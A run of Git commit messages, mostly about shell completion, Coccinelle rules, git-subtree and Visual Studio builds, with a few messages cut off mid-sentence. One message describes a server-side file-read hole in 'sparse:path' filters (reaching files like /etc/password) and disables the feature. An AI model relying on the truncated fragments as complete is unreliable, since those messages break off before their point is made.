Follow the same rules for -c/-C (and -b/-B) when completing the argument
to --orphan.
In the case of git switch, after we complete the argument, there is
nothing more we can complete for git switch, so do not even try. Nothing
else would be valid.
In the case of git checkout, --orphan takes a start point which it uses
to determine the checked out tree, even though it created orphaned
history.

A previous commit added several test cases highlighting the subpar
completion logic for -c/-C and -b/-B when completing git switch and git
checkout.
In order to distinguish completing the argument vs the start-point for
this option, we now use the wordlist to determine the previous full word
on the command line.
If it's -c or -C (-b/-B for checkout), then we know that we are
completing the argument for the branch name.
Given that a user who already knows the branch name they want to
complete will simply not use completion, it makes sense to complete the
small subset of local branches when completing the argument for -c/-C.
In all other cases, if -c/-C are on the command line but are not the
most recent option, then we must be completing a start-point, and should
allow completing against all references.
Update the -c/-C and -b/-B tests to indicate they now pass.

Current completion for the --track option of git switch and git checkout
is sub par. In addition to the DWIM logic of a bare branch name, --track
has DWIM logic to convert specified remote/branch names into a local
branch tracking that remote. For example
$git switch --track origin/master
This will create a local branch name master, that tracks the master
branch of the origin remote.
In fact, git switch --track on its own will not accept other forms of
references. These must instead be specified manually via the -c/-C/-b/-B
options.
Introduce __git_remote_heads() and the "remote-heads" mode for
__git_complete_refs. Use this when the --track option is provided while
completing in _git_switch and _git_checkout. Just as in the --detach
case, we never enable DWIM mode for --track, because it doesn't make
sense.
It should be noted that completion support is still a bit sub par when
it comes to handling -c/-C and --orphan. This will be resolved in
a future change.

Add a new --mode option to __git_complete_refs, which allows changing
the behavior to call __git_heads instead of __git_refs.
By passing --mode=heads, __git_complete_refs will only output local
branches. This enables using "--mode=heads --dwim" to enable listing
local branches and the remote unique branch names for DWIM.
Refactor completion support to use the new mode option, rather than
calling __git_heads directly. This has the advantage that we can now
correctly allow local branches along with suitable DWIM refs, rather
than only allowing DWIM when we complete all references.
Choose what mode it uses when calling __git_complete_refs. If -d or
--detach have been provided, then simply complete all refs, but
*without* the DWIM option as these DWIM names won't work properly in
--detach mode.
Otherwise, call __git_complete_refs with the default dwim_opt value and
use the new "heads" mode.
In this way, the basic support for completing just "git switch <TAB>"
will result in only local branches and remote unique names for DWIM.
The basic no-options tests for git switch, as well as several of the
-c/-C tests now pass, so remove the known breakage tags.

A new helper, __git_find_last_on_cmdline is introduced, similar to the
already existing __git_find_on_cmdline, but which operates in reverse,
finding the *last* matching word of the provided wordlist.
Use this in a new __git_checkout_default_dwim_mode() function that will
determine when to enable listing of DWIM remote branches.
The __git_find_last_on_cmdline() function is used to determine which
--guess or --no-guess is in effect. If either one is provided, then we
unconditionally enable or disable the DWIM mode based on the last
provided option.
If neither --guess nor --no-guess is provided, then we check for
--no-track, and finally for GIT_COMPLETION_CHECKOUT_NO_GUESS=1.
This function is then used in _git_switch and _git_checkout to improve
the handling for when we enable listing of these DWIM remote branches.
This new logic is more robust, as we will correctly identify superseded
options, and ensure that both _git_switch and _git_checkout enable DWIM
in similar ways.
We can now update a few tests to indicate they pass. A few of the tests
previously added to highlight issues with the old DWIM logic still fail.
This is because of a separate issue related to the default completion
behavior of git switch, which will be addressed in a future change.
Additionally, due to this change, a few tests for the -b/-B handling of
git checkout now fail. This is a minor regression, and will be fixed by
a following change that improves the overall handling of -b/-B. Mark
these tests as known breakages for now.

__git_complete_refs is the main function used for completing references.
It is primarily used as a wrapper around __git_refs, and is easier to
extend since its arguments are option-like.
One major downside of __git_complete_refs and __git_refs currently, is
the lack of ability to complete only a subset of refs such as branches
(refs/heads) or tags (refs/tags).
Normally, a caller might just decide to use __git_heads() or
__git_tags(). However, in the case of git-switch, it is useful to
complete both branches *and* DWIM remote branch names.
Due to the complexity and implementation of __git_refs, it is not easy
to extend it to support listing only a subset of references.
Instead, we can extend __git_complete_refs to do this. For this to be
done, we must first ensure that "--dwim" support is not tied to calling
__git_refs.
Instead of passing $dwim into __git_refs, we can implement
a __gitcomp_direct_append function which can append to COMPREPLY after
a call to __gitcomp_direct.
If --dwim is passed to __git_complete_refs, use __gitcomp_direct_append
to add the output of __git_dwim_remote_heads to the completion list.
In this way, --dwim support is now independent of calling __git_refs.
A future change will add an additional option to control what set of
references __git_complete_refs will output.

__git_refs() has the ability to report unique remote names for
supporting completion of remote branch names for the DWIMery of git
checkout and git switch.
For git checkout, this is fine, because it always supports completing
all local references.
However, git switch by default only supports either switching branches
or using this DWIMery to create a local branch tracking the remote
branch.
Future work to cleanup and improve completion support for git switch
will be aided if the remote branch names can be completed separately
from __git_refs.
Extract this logic to a function __git_dwim_remote_heads(), and use it
in __git_refs.

The __git_complete_refs uses the "--track" option to specify when to
enable listing of unique remote branches which are used by the DWIM
logic of git checkout and git switch.
Using the term '--track' here is confusing because the git commands
themselves have '--track' as an argument. Additionally, the completion
logic for _git_switch also checks for --track. Keeping the meaning of
track_opt and --track for __git_complete_refs straight from the --track
git switch and git checkout option is difficult when reading this code.
Use the option '--dwim' instead, indicating this is about enabling or
disabling logic related to DWIM mode. Also rename the local variable
track_opt to dwim_opt to further reduce the confusion when reading the
completion code for _git_switch.
Because it is plausible for users to have developed their own
completions which rely on __git_complete_ref, keep --track as a synonym
for --dwim, even though we no longer use it in any of the core git
completion logic. Add a comment explaining why it remains as an
alternative spelling for --dwim.

As reported on the git mailing list, since git-2.25,
git add untracked-dir/
has been tab completing to
git add untracked-dir/./
The cause for this was that with commit b9670c1f5e (dir: fix checks on
common prefix directory, 2019-12-19),
git ls-files -o --directory untracked-dir/
(or the equivalent `git -C untracked-dir ls-files -o --directory`) began
reporting
untracked-dir/
instead of listing paths underneath that directory. It may also be
worth noting that the real command in question was
git -C untracked-dir ls-files -o --directory '*'
which is equivalent to
git ls-files -o --directory 'untracked-dir/*'
which behaves the same for the purposes of this issue (the '*' can match
the empty string), but becomes relevant for the proposed fix.
At first, based on the report, I decided to try to view this as a
regression and tried to find a way to recover the old behavior without
breaking other stuff, or at least breaking as little as possible.
However, in the end, I couldn't figure out a way to do it that wouldn't
just cause lots more problems than it solved. The old behavior was a
bug:
* Although older git would avoid cleaning anything with `git clean -f
.git`, it would wipe out everything under that direcotry with `git
clean -f .git/`. Despite the difference in command used, this is
relevant because the exact same change that fixed clean changed the
behavior of ls-files.
* Older git would report different results based solely on presence or
absence of a trailing slash for $SUBDIR in the command `git ls-files
-o --directory $SUBDIR`.
* Older git violated the documented behavior of not recursing into
directories that matched the pathspec when --directory was
specified.
* And, after all, commit b9670c1f5e (dir: fix checks on common prefix
directory, 2019-12-19) didn't overlook this issue; it explicitly
stated that the behavior of the command was being changed to bring
it inline with the docs.
(Also, if it helps, despite that commit being merged during the 2.25
series, this bug was not reported during the 2.25 cycle, nor even during
most of the 2.26 cycle -- it was reported a day before 2.26 was
released. So the impact of the change is at least somewhat small.)
Instead of relying on a bug of ls-files in reporting the wrong content,
change the invocation of ls-files used by git-completion to make it grab
paths one depth deeper. Do this by changing '$DIR/*' (match $DIR/ plus
0 or more characters) into '$DIR/?*' (match $DIR/ plus 1 or more
characters). Note that the '?' character should not be added when
trying to complete a filename (e.g. 'git ls-files -o --directory
"merge.c?*"' would not correctly return "merge.c" when such a file
exists), so we have to make sure to add the '?' character only in cases
where the path specified so far is a directory.

The tar importer in `contrib/fast-import/import-tars.perl` has a very
convenient feature: if _all_ paths stored in the imported `.tar` start
with a common prefix, e.g. `git-2.26.0/` in the tar at
https://github.com/git/git/archive/v2.26.0.tar.gz, then this prefix is
stripped.
This feature makes a ton of sense because it is relatively common to
import two or more revisions of the same project into Git, and obviously
we don't want all files to live in a tree whose name changes from
revision to revision.
Now, the problem with that feature is that it breaks down if there is a
`pax_global_header` "file" located outside of said prefix, at the top of
the tree. This is the case for `.tar` files generated by Git's very own
`git archive` command: it inserts that header, and `git archive` allows
specifying a common prefix (that the header does _not_ share with the
other files contained in the archive) via `--prefix=my-project-1.0.0/`.
Let's just skip any global header when importing `.tar` files into Git.
Note: this global header might contain useful information. For example,
in the output of `git archive`, it lists the original commit, which _is_
useful information. A future improvement to the `import-tars.perl`
script might be to include that information in the commit message, or do
other things with the information (e.g. use `mtime` information
contained in the global header as date of the commit). This patch does
not prevent any future patch from making that happen, it only prevents
the header from being treated as if it was a regular file.

is somewhat misguided; for example, the output "git am --show-current-patch"
cannot be passed to "git apply" if it is encoded as quoted-printable or
base64. To simplify worktree operations and to avoid that users poke into
.git, it would be better if "git am" also provided a mode that copies
.git/rebase-merge/patch to stdout.
One possibility could be to have completely separate options, introducing
for example --show-current-message (for .git/rebase-apply/NNNN)
and --show-current-diff (for .git/rebase-apply/patch), while possibly
deprecating --show-current-patch.
That would even remove the need for the first two patches in the series.
However, the long common prefix would have prevented using an abbreviated
option such as "--show". Therefore, I chose instead to add a string
argument to --show-current-patch. The new argument is optional, so that
"git am --show-current-patch"'s behavior remains backwards-compatible.
The next choice to make is how to handle multiple --show-current-patch
options. Right now, something like "git am --abort --show-current-patch"
is rejected, and the previous suggestion would likewise have naturally
rejected a command line like
git am --show-current-message --show-current-diff
Therefore, I decided to also reject for example
git am --show-current-patch=diff --show-current-patch=raw
In other words the whole of --show-current-patch=xxx (including the
optional argument) is treated as the command mode. I found this to be
more consistent and intuitive, even though it differs from the usual
"last one wins" semantics of the git command line.
Add the code to parse submodes based on the above design, where for now
"raw" is the only valid submode. "raw" prints the full e-mail message
just like "git am --show-current-patch".

In the past, we had different prompts for different types of rebases:
REBASE: for am-based rebases
REBASE-m: for merge-based rebases
REBASE-i: for interactive-based rebases
It's not clear why this distinction was necessary or helpful; when the
prompt was added in commit e75201963f ("Improve bash prompt to detect
various states like an unfinished merge", 2007-09-30), it simply added
these three different types. Perhaps there was a useful purpose back
then, but there have been some changes:
* The merge backend was deleted after being implemented on top of the
interactive backend, causing the prompt for merge-based rebases to
change from REBASE-m to REBASE-i.
* The interactive backend is used for multiple different types of
non-interactive rebases, so the "-i" part of the prompt doesn't
really mean what it used to.
* Rebase backends have gained more abilities and have a great deal of
overlap, sometimes making it hard to distinguish them.
* Behavioral differences between the backends have also been ironed
out.
* We want to change the default backend from am to interactive, which
means people would get "REBASE-i" by default if we didn't change
the prompt, and only if they specified --am or --whitespace or -C
would they get the "REBASE" prompt.
* In the future, we plan to have "--whitespace", "-C", and even "--am"
run the interactive backend once it can handle everything the
am-backend can.
For all these reasons, make the prompt for any type of rebase just be
"REBASE".

'move', 'remove', 'lock', and 'unlock' subcommands.
Note that 'git worktree list --porcelain' shows absolute paths, so for
simplicity's sake we'll complete full absolute paths as well (as
opposed to turning them into relative paths by finding common leading
directories between $PWD and the working tree's path and removing
them, risking trouble with symbolic links or Windows drive letters; or
completing them one path component at a time).
Never list the path of the main working tree, as it cannot be moved,
removed, locked, or unlocked.
Ideally we would only list unlocked working trees for the 'move',
'remove', and 'lock' subcommands, and only locked ones for 'unlock'.
Alas, 'git worktree list --porcelain' doesn't indicate which working
trees are locked, so for now we'll complete the paths of all existing
working trees.

The completion function for 'git worktree' uses separate but very
similar case arms to complete --options for each subcommand.
Combine these into a single case arm to avoid repetition.
Note that after this change we won't complete 'git worktree remove's
'--force' option, but that is consistent with our general stance on
not offering '--force', as it should be used with care.

The __git_find_on_cmdline() helper function started its life as
__git_find_subcommand() [1], but it served a more general purpose than
looking for subcommands, so later it was renamed accordingly [2].
However, that rename didn't touch the body of the function, and left
the $subcommand local variable behind, still reminiscent of the
function's original purpose.
Let's clean up the names of __git_find_on_cmdline()'s local variables
and get rid of that $subcommand variable name.

The shebang path for the Perl interpreter in git-credential-netrc was

Add a .perl prefix to the script to denote it as a template and ignore

The standard format for referencing other commits within some projects
(such as git.git) is the reference format. This is described in
Documentation/SubmittingPatches as
If you want to reference a previous commit in the history of a stable
branch, use the format "abbreviated hash (subject, date)", like this:
....
Commit f86a374 (pack-bitmap.c: fix a memleak, 2015-03-30)
noticed that ...
....
Since this format is so commonly used, standardize it as a pretty
format.
The tests that are implemented essentially show that the format-string
does not change in response to various log options. This is useful
because, for future developers, it shows that we've considered the
limitations of the "canned format-string" approach and we are fine with
them.

There's only a single caller left of sha1_to_hex(), since everybody
that has an object name in "unsigned char[]" now uses hash_to_hex()
instead.
This case is in the sha1dc wrapper, where we print a hex sha1 when
we find a collision. This one will always be sha1, regardless of the
current hash algorithm, so we can't use hash_to_hex() here. In
practice we'd probably not be running sha1 at all if it isn't the
current algorithm, but it's possible we might still occasionally
need to compute a sha1 in a post-sha256 world.
Since sha1_to_hex() is just a wrapper for hash_to_hex_algop(), let's
call that ourselves. There's value in getting rid of the sha1-specific
wrapper to de-clutter the global namespace, and to make sure nobody uses
it (and as with sha1_to_hex_r() in the previous patch, we'll drop the
coccinelle transformations, too).
The sha1_to_hex() function is mentioned in a comment; we can easily
swap that out for oid_to_hex() to give a better example. Also
update the comment that was left stale when we added "struct
object_id *" as a way to name an object and added functions to
convert it to hex.
The function is also mentioned in some test vectors in t4100, but
that's not runnable code, so there's no point in trying to clean it
up.

In 2b9bd488ae ("completion: teach rebase to use __gitcomp_builtin",

Before, when there was a space, we'd start a new word and, as a result,
fallback to __git_complete_refs() and `--onto` would be completed this
way. However, now we match the `--*` case which does not know how to
offer completions for refs.

Even though Debug configuration builds, the resulting build is incorrect
in a subtle way: it mixes up Debug and Release binaries, which in turn
causes hard-to-predict bugs.
In my case, when git calls iconv library, iconv sets 'errno' and git
then tests it, but in Debug and Release CRT those 'errno' are different
memory locations.
This patch addresses 3 connected bugs:
1) Typo in '\(Configuration)'. As a result, Debug configuration
condition is always false and Release path is taken instead.
2) Regexp that replaced 'zlib.lib' with 'zlibd.lib' was only affecting

Previously this bug was hidden, because Debug path was never taken.
I decided that avoiding double -lz in makefile is fragile and I'd

filter-branch suffers from a deluge of disguised dangers that disfigure
history rewrites (i.e. deviate from the deliberate changes). Many of
these problems are unobtrusive and can easily go undiscovered until the
new repository is in use. This can result in problems ranging from an
even messier history than what led folks to filter-branch in the first
place, to data loss or corruption. These issues cannot be backward
compatibly fixed, so add a warning to both filter-branch and its manpage
recommending that another tool (such as filter-repo) be used instead.
Also, update other manpages that referenced filter-branch. Several of
these needed updates even if we could continue recommending
filter-branch, either due to implying that something was unique to
filter-branch when it applied more generally to all history rewriting
tools (e.g. BFG, reposurgeon, fast-import, filter-repo), or because
something about filter-branch was used as an example despite other more
commonly known examples now existing. Reword these sections to fix
these issues and to avoid recommending filter-branch.
Finally, remove the section explaining BFG Repo Cleaner as an
alternative to filter-branch. I feel somewhat bad about this,
especially since I feel like I learned so much from BFG that I put to
good use in filter-repo (which is much more than I can say for
filter-branch), but keeping that section presented a few problems:
* In order to recommend that people quit using filter-branch, we need
to provide them a recomendation for something else to use that
can handle all the same types of rewrites. To my knowledge,
filter-repo is the only such tool. So it needs to be mentioned.
* I don't want to give conflicting recommendations to users
* If we recommend two tools, we shouldn't expect users to learn both
and pick which one to use; we should explain which problems one
can solve that the other can't or when one is much faster than
the other.
* BFG and filter-repo have similar performance
* All filtering types that BFG can do, filter-repo can also do. In
fact, filter-repo comes with a reimplementation of BFG named
bfg-ish which provides the same user-interface as BFG but with
several bugfixes and new features that are hard to implement in
BFG due to its technical underpinnings.
While I could still mention both tools, it seems like I would need to
provide some kind of comparison and I would ultimately just say that
filter-repo can do everything BFG can, so ultimately it seems that it
is just better to remove that section altogether.

A common scenario is if a user is working on a topic branch and they
wish to make some changes to intermediate commits or autosquash, they
would run something such as
git rebase -i --onto master... master
in order to preserve the merge base. This is useful when contributing a
patch series to the Git mailing list, one often starts on top of the
current 'master'. While developing the patches, 'master' is also
developed further and it is sometimes not the best idea to keep rebasing
on top of 'master', but to keep the base commit as-is.
In addition to this, a user wishing to test individual commits in a
topic branch without changing anything may run
git rebase -x ./test.sh master... master
Since rebasing onto the merge base of the branch and the upstream is
such a common case, introduce the --keep-base option as a shortcut.
This allows us to rewrite the above as
git rebase -i --keep-base master
and
git rebase -x ./test.sh --keep-base master
respectively.
Add tests to ensure --keep-base works correctly in the normal case and
fails when there are multiple merge bases, both in regular and
interactive mode. Also, test to make sure conflicting options cause
rebase to fail. While we're adding test cases, add a missing
set_fake_editor call to 'rebase -i --onto master...side'.
While we're documenting the --keep-base option, change an instance of
"merge-base" to "merge base", which is the consistent spelling.

The second '*' in the '--*=*' pattern of the inner 'case' statement of

'--*=' instead.
The purpose of that inner case statement is to decide when to append a
trailing space to the listed options and when not. When an option
requires a stuck argument, i.e. '--option=', then the trailing space
should not be added, so the user can continue typing the required
argument right away. That '--*=*' pattern is supposed to match these
options, but for this purpose that second '*' is unnecessary, a '--*='
pattern works just as well. That second '*' would only make a
difference in case of a possible completion word like
'--option=value', but our completion script never passes such a word
to __gitcomp(), because the '--option=' and its 'value' must be

The number of configuration variables listed by the completion script
grew quite when we started to auto-generate it from the documentation
[1], so we now complete them in two steps: first we list only the
section names, then the rest [2]. To get the section names we simply
strip everything following the first dot in each variable name,
resulting in a lot of repeated section names, because most sections
contain more than one configuration variable. This is not a
correctness issue in practice, because Bash's completion facilities
remove all repetitions anyway, but these repetitions make testing a
bit harder.
Replace the small 'sed' script removing subsections and variable names
with an 'awk' script that does the same, and in addition removes any
repeated configuration sections as well (by first creating and filling
an associative array indexed by all encountered configuration
sections, and then iterating over this array and printing the indices,
i.e. the unique section names). This change makes the failing 'git
config - section' test in 't9902-completion.sh' pass.
Note that this changes the order of section names in the output, and
makes it downright undeterministic, but this is not an issue, because
Bash sorts them before presenting them to the user, and our completion
tests sort them as well before comparing with the expected output.
Yeah, it would be simpler and shorter to just append '| sort -u' to
that command, but that would incur the overhead of one more external
process and pipeline stage every time a user completes configuration
sections.

Most 'color.*' configuration variables, with the sole exception of
'color.pager', accept the same set of values, but our completion
script recognizes only about half of them. We could explicitly add
all those missing variables, but let's try to reduce future
maintenance burden, and use the catch-all 'color.*' pattern instead,
so this list won't get out of sync when a similar new configuration
variable accepting the same values is introduced [1].
Furthermore, their documentation explicitly mentions that they all
accept the standard boolean values 'false' and 'true' as well, so list
these, too, among the possible values.
[1] OTOH, there will be a maintenance burden if ever a new
'color.something' is introduced which doesn't accept the same set
of values. We'll see which one happens first...

Support building Git with Visual Studio

The default location for `.exe` files linked by Visual Studio depends on
the mode (debug vs release) and the architecture. Meaning: after a full
build, there is a `git.exe` in the top-level directory, but none of the
built-ins are linked..
When running a test script in Git Bash, it therefore would pick up the
wrong, say, `git-receive-pack.exe`: the one installed at the same time
as the Git Bash.
Absolutely not what we want. We want to have confidence that our test
covers the MSVC-built Git executables, and not some random stuff.

The entire idea of generating the VS solution makes only sense if we
generate it via Continuous Integration; otherwise potential users would
still have to download the entire Git for Windows SDK.
If we pre-generate the Visual Studio solution, Git can be built entirely
within Visual Studio, and the test scripts can be run in a regular Git
for Windows (e.g. the Portable Git flavor, which does not include a full
GCC toolchain and therefore weighs only about a tenth of Git for
Windows' SDK).
So let's just add a target in the Makefile that can be used to generate
said solution; The generated files will then be committed so that they
can be pushed to a branch ready to check out by Visual Studio users.
To make things even more useful, we also generate and commit other files
that are required to run the test suite, such as templates and
bin-wrappers: with this, developers can run the test suite in a regular
Git Bash after building the solution in Visual Studio.
Note: for this build target, we do not actually need to initialize the
`vcpkg` system, so we don't.

Based on the previous patches in this patch series that fixed the
generator for `.vcproj` files (which were used by Visual Studio prior to
2015 to define projects), this patch offers to generate project
definitions for neweer versions of Visual Studio (which use `.vcxproj`
files).
To that end, this patch copy-edits the generator of the `.vcproj`.
In addition, we now use the `vcpkg` system which allows us to build
Git's dependencies (e.g. curl, libexpat) conveniently. The support
scripts were introduced in the `jh/msvc` patch series, and with this
patch we initialize the `vcpkg` conditionally, in the `libgit` project's
`PreBuildEvent`. To allow for parallel building of the projects, we
therefore put `libgit` at the bottom of the project hierarchy.

Rather than swallowing the errors, it is better to have them in a file.

'msvc-build-makedryerrors.txt'.
Further, if the output is empty, simply delete that file. As we target
Git for Windows' SDK (which, unlike its predecessor msysGit, offers Perl
versions newer than 5.8), we can use the quite readable syntax `if -f -z
$ErrsFile` (available in Perl >=5.10).
Note that the file will contain the new values of the GIT_VERSION and

The current semantic patch for COPY_ARRAY transforms memcpy(3) calls on
pointers, but Coccinelle distinguishes them from arrays. It already
contains three rules to handle the options for sizeof (i.e. source,
destination and type), and handling arrays as source and destination
would require four times as many rules if we enumerated all cases.
We also don't handle array subscripts, and supporting that would
increase the number of rules by another factor of four. (An isomorphism
telling Coccinelle that "sizeof x[...]" is equivalent to "sizeof *x"
would be nice..)
Support arrays and array subscripts, but keep the number of rules down
by adding normalization steps: First turn array subscripts into
derefences, then determine the types of expressions used with sizeof and
replace them with these types, and then convert the different possible
combinations of arrays and pointers with memcpy(3) to COPY_ARRAY.

"git <cmd> --git-completion-helper" could fail if the command checks for
a repo before parse_options(). If the result is cached, later on when
the user moves to a worktree with repo, tab completion will still fail.
Avoid this by detecting errors and not cache the completion output. We
can try again and hopefully succeed next time (e.g. when a repo is
found).
Of course if --git-completion-helper fails permanently because of other
reasons (*), this will slow down completion. But I don't see any better
option to handle that case.
(*) one of those cases is if __gitcomp_builtin is called on a command
that does not support --git-completion-helper. And we do have a
generic call
__git_complete_common "$command"
but this case is protected with __git_support_parseopt_helper so we're

If someone wants to use as a filter a sparse file that is in the
repository, something like "--filter=sparse:oid=<ref>:<path>"
already works.
So 'sparse:path' is only interesting if the sparse file is not in
the repository. In this case though the current implementation has
a big security issue, as it makes it possible to ask the server to
read any file, like for example /etc/password, and to explore the
filesystem, as well as individual lines of files.
If someone is interested in using a sparse file that is not in the
repository as a filter, then at the minimum a config option, such
as "uploadpack.sparsePathFilter", should be implemented first to
restrict the directory from which the files specified by
'sparse:path' can be read.
For now though, let's just disable 'sparse:path' filters.

"maybe" pointer in 'struct commit' is tricky because it can be lazily
initialized to take advantage of commit-graph if available. This makes
it not safe to access directly.
This leads to a rule in commit.cocci to rewrite 'x->maybe_tree' to
'get_commit_tree(x)'. But that rule alone could lead to incorrectly
rewrite assignments, e.g. from
x->maybe_tree = yes
to
get_commit_tree(x) = yes
Because of this we have a second rule to revert this effect. Szeder
found out that we could do better by performing the assignment rewrite
rule first, then the remaining is read-only access and handled by the
current first rule.
For this to work, we need to transform "x->maybe_tree = y" to something
that does NOT contain "x->maybe_tree" to avoid the original first
rule. This is where set_commit_tree() comes in.

With zsh, "git cmd path<TAB>" was completed to "git cmd path name"
when the completed path has a special character like SP in it,
without any attempt to keep "path name" a single filename. This
has been fixed to complete it to "git cmd path\ name" just like
Bash completion does.
* cy/zsh-completion-SP-in-path:
completion: treat results of git ls-tree as file paths
zsh: complete unquoted paths with spaces correctly
There are some situations in which we want to store an object ID into
struct object_id without the_hash_algo necessarily being set correctly.
One such case is when cloning a repository, where we must read refs from
the remote side without having a repository from which to read the
preferred algorithm.
In this cases, we may have the_hash_algo set to SHA-1, which is the
default, but read refs into struct object_id that are SHA-256. When
copying these values, we will want to copy them completely, not just the
first 20 bytes. Consequently, make sure that oidcpy copies the maximum
number of bytes at all times, regardless of the setting of
the_hash_algo.
Since oidcpy and hashcpy are no longer functionally identical, remove
the Cocinelle object_id transformations that convert from one into the
other.

Let's say there are files named 'foo bar.txt', and 'abc def/test.txt' in
repository. When following commands trigger a completion:
git show HEAD:fo<Tab>
git show HEAD:ab<Tab>
The completion results in bash/zsh:
git show HEAD:foo bar.txt
git show HEAD:abc def/
Where the both of them have an unescaped space in paths, so they'll be
misread by git. All entries of git ls-tree either a filename or a
directory, so __gitcomp_file() is proper rather than __gitcomp_nl().
Note the commit f12785a3, which handles quoted paths properly. Like this
case, we should dequote $cur_ for ?*:* case. For example, let's say
there is untracked directory 'abc deg', then trigger a completion:
git show HEAD:abc\ de<Tab>
git show HEAD:'abc de<Tab>
git show HEAD:"abc de<Tab>
should uniquely complete 'abc def', but bash completes 'abc def' and
'abc deg' instead. In zsh, triggering a completion:
git show HEAD:abc\ def/<Tab>
should complete 'test.txt', but nothing comes. The both problems will be
resolved by dequoting paths.
__git_complete_revlist_file() passes arguments to __gitcomp_nl() where
the first one is a list something like:
abc def/Z
foo bar.txt Z
where Z is the mark of the EOL.
- The trailing space of blob in __git ls-tree | sed.
It makes the completion results become:
git show HEAD:foo\ bar.txt\ <CURSOR>
So git will try to find a file named 'foo bar.txt ' instead.
- The trailing slash of tree in __git ls-tree | sed.
It makes the completion results on zsh become:
git show HEAD:abc\ def/ <CURSOR>
So that the last space on command like should be removed on zsh to
complete filenames under 'abc def/'.

The following is the description of -Q flag of zsh compadd [1]:
This flag instructs the completion code not to quote any
metacharacters in the words when inserting them into the command
line.
Let's say there is a file named 'foo bar.txt' in repository, but it's
not yet added to the repository. Then the following command triggers a
completion:
git add fo<Tab>
git add 'fo<Tab>
git add "fo<Tab>
The completion results in bash:
git add foo\ bar.txt
git add 'foo bar.txt'
git add "foo bar.txt"
While them in zsh:
git add foo bar.txt
git add 'foo bar.txt'
git add "foo bar.txt"
The first one, where the pathname is not enclosed in quotes, should
escape the space with a backslash, just like bash completion does.
Otherwise, this leads git to think there are two files; foo, and
bar.txt.
The main cause of this behavior is __gitcomp_file_direct(). The both
implementions of bash and zsh are called with an argument 'foo bar.txt',
but only bash adds a backslash before a space on command line.

The support for format-patch (and send-email) by the command-line
completion script (in contrib/) has been simplified a bit.
* nd/complete-format-patch:
completion: use __gitcomp_builtin for format-patch
The command line completion machinery (in contrib/) has been
updated to allow the completion script to tweak the list of options
that are reported by the parse-options machinery correctly.
* nd/completion-negation:
completion: fix __gitcomp_builtin no longer consider extra options
This helps format-patch gain completion for a couple new options,
notably --range-diff.
Since send-email completion relies on $__git_format_patch_options
which is now reduced, we need to do something not to regress
send-email completion.
The workaround here is implement --git-completion-helper in
send-email.perl just as a bridge to "format-patch --git-completion-helper".
This is enough to use __gitcomp_builtin on send-email (to take
advantage of caching).
In the end, send-email.perl can probably reuse the same info it passes
to GetOptions() to generate full --git-completion-helper output so
that we don't need to keep track of its options in git-completion.bash
anymore. But that's something for another boring day.

Most of our semantic patches in 'contrib/coccinelle/object_id.cocci'
turn calls of SHA1-specific functions into calls of their
corresponding object_id counterparts, e.g. sha1_to_hex() to
oid_to_hex(). These semantic patches look something like this:
@@
expression E1;
@@
- sha1_to_hex(E1.hash)
+ oid_to_hex(&E1)
and match the access to the 'hash' field in any data type, not only in
'struct object_id', and, consquently, can produce wrong
transformations.
Case in point is the recent hash function transition patch "rerere:
convert to use the_hash_algo" [1], which, among other things, renamed
'struct rerere_dir's 'sha1' field to 'hash', and then 'make
coccicheck' started to suggest the following wrong transformations for
'rerere.c' [2]:
- return sha1_to_hex(id->collection->hash);
+ return oid_to_hex(id->collection);
and
- DIR *dir = opendir(git_path("rr-cache/%s", sha1_to_hex(rr_dir->hash)));
+ DIR *dir = opendir(git_path("rr-cache/%s", oid_to_hex(rr_dir)));
Avoid such wrong transformations by tightening semantic patches in
'object_id.cocci' to match only type of or pointers to 'struct
object_id'.

We have coverage targets in our Makefile for using gcov to display line
coverage based on our test suite. The way I like to do it is to run:
make coverage-test
make coverage-report
This leaves the repo in a state where every X.c file that was covered has
an X.c.gcov file containing the coverage counts for every line, and "#####"
at every uncovered line.
There have been a few bugs in recent patches what would have been caught
if the test suite covered those blocks (including a few of mine). I want
to work towards a "sensible" amount of coverage on new topics. In my opinion,
this means that any logic should be covered, but the 'die()' blocks covering
very unlikely (or near-impossible) situations may not warrant coverage.
It is important to not measure the coverage of the codebase by what old code
is not covered. To help, I created the 'contrib/coverage-diff.sh' script.
After creating the coverage statistics at a version (say, 'topic') you can
then run
contrib/coverage-diff.sh base topic
to see the lines added between 'base' and 'topic' that are not covered by the
test suite. The output uses 'git blame -s' format so you can find the commits
responsible and view the line numbers for quick access to the context, but
trims leading tabs in the file contents to reduce output width.

When multiple identical parents are detected for a commit being considered
for copying, explicitly check whether one is the common merge base between
the commits. If so, the other commit can be used as the identical parent;
if not, a merge must be performed to maintain history.
In some situations two parents of a merge commit may appear to both have
identical subtree content with each other and the current commit. However,
those parents can potentially come from different commit graphs.
Previous behavior would simply select one of the identical parents to
serve as the replacement for this commit, based on the order in which they
were processed.
New behavior compares the merge base between the commits to determine if
a new merge commit is necessary to maintain history despite the identical
content.

Adds recursive evaluation of parent commits which were not part of the
initial commit list when performing a split.
Split expects all relevant commits to be reachable from the target commit
but not reachable from any previous rejoins. However, a branch could be
based on a commit prior to a rejoin, then later merged back into the
current code. In this case, a parent to the commit will not be present in
the initial list of commits, trigging an "incorrect order" warning.
Previous behavior was to consider that commit to have no parent, creating
an original commit containing all subtree content. This commit is not
present in an existing subtree commit graph, changing commit hashes and
making pushing to a subtree repo impossible.
New behavior will recursively check these unexpected parent commits to
track them back to either an earlier rejoin, or a true original commit.
The generated synthetic commits will properly match previously-generated
commits, allowing successful pushing to a prior subtree repo.

Changes the behavior of --ignore-joins to always consider a subtree add
commit, and ignore only splits and squashes.
The --ignore-joins option is documented to ignore prior --rejoin commits.
However, it additionally ignored subtree add commits generated when a
subtree was initially added to a repo.
Due to the logic which determines whether a commit is a mainline commit
or a subtree commit (namely, the presence or absence of content in the
subtree prefix) this causes commits before the initial add to appear to
be part of the subtree. An --ignore-joins split would therefore consider
those commits part of the subtree history and include them at the
beginning of the synthetic history, causing the resulting hashes to be
incorrect for all later commits.

This rounds out the previous three patches, covering the

This is the flip side of the previous two patches: checking
for a non-zero oidcmp() can be more strictly expressed as
inequality. Like those patches, we write "!= 0" in the
coccinelle transformation, which covers by isomorphism the
more common:
if (oidcmp(E1, E2))
As with the previous two patches, this patch can be achieved
almost entirely by running "make coccicheck"; the only
differences are manual line-wrap fixes to match the original
code.
There is one thing to note for anybody replicating this,
though: coccinelle 1.0.4 seems to miss the case in
builtin/tag.c, even though it's basically the same as all
the others. Running with 1.0.7 does catch this, so
presumably it's just a coccinelle bug that was fixed in the
interim.

This is the partner patch to the previous one, but covering
the "hash" variants instead of "oid". Note that our
